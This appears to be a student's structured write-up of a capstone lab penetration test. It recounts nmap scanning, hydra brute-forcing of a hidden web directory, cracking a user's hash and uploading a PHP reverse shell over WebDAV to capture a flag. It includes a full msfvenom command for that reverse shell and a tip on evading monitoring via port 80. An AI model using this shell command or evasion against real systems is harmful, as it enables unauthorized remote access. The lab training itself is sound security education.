Domain: Offensive Security

Question 1: Planning an Engagement

"How do you plan and execute an effective offensive engagement?"

1. Restate the Problem
   - ○ What is an optimal way to map out and accomplish a successful attack?

2. Provide a Concrete Example Scenario

   - ○ In Project 2, which VMs were on the network? What was the purpose of each?
     i. There were 3 virtual machines on the Hyper V. Elk captures logs of what happened between the Capstone and Kali machines. Capstone was the target. Kali was the attacking machine.

   - ○ Which of these VMs did you have to infiltrate?
     i. Capstone was the virtual machine that we got into.

   - ○ What was your goal in infiltrating each VM?
     i. There was a hidden file on the VM that we were trying to access.

   - ○ Which tools did you use to perform the infiltration?
     i. We used nmap, dirb, hydra, crackstation, msfvenom, and msfconsole to perform this attack.

   - ○ What kinds of security measures, if any, were enabled on the network?
     i. There was a missing password and a password hash that almost hindered our access to the file.

3. Explain the Solution Requirements

   - ○ How did you identify your targets?
     i. After using nmap, we find that 192.168.1.105 is the victim machine.

   - ○ How did you identify vulnerabilities in each target and which did you exploit?
     i. After opening a web browser and visiting the ip address, there are messages that point you to 192.168.1.105/company_folders/secret_folder. We then used hydra to brute force the password for the directory.

   - ○ What did you do after infiltrating?
     i. After accessing the directory, we're given instructions on how to access the WebDAV using Ryan's credentials (though we had to crack his hash

first).

4. Explain the Solution Details

   - Which tools and commands did you use to identify your targets and their vulnerabilities?
     i. msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=4444 -f raw > shell.php

   - Which exploits did you use against these vulnerabilities and how did you deliver them?
     i. We used the reverse tcp shell php payload we made in msfvenom and uploaded said payload to the WebDAV to help establish a connection between the target and the attacking machine.

   - How did you achieve your goal after infiltration?
     i. We found the flag.txt and used cat to see what was inside the text file.

5. Identify Advantages and Disadvantages of the Solution

   - Were your methods covert or detectable by monitoring solutions?
     i. They were detected by the Kibana logs.

   - How could you achieve your goal with greater stealth?
     i. Use a different port to attack, perhaps port 80 where there’s a lot of HTTP traffic.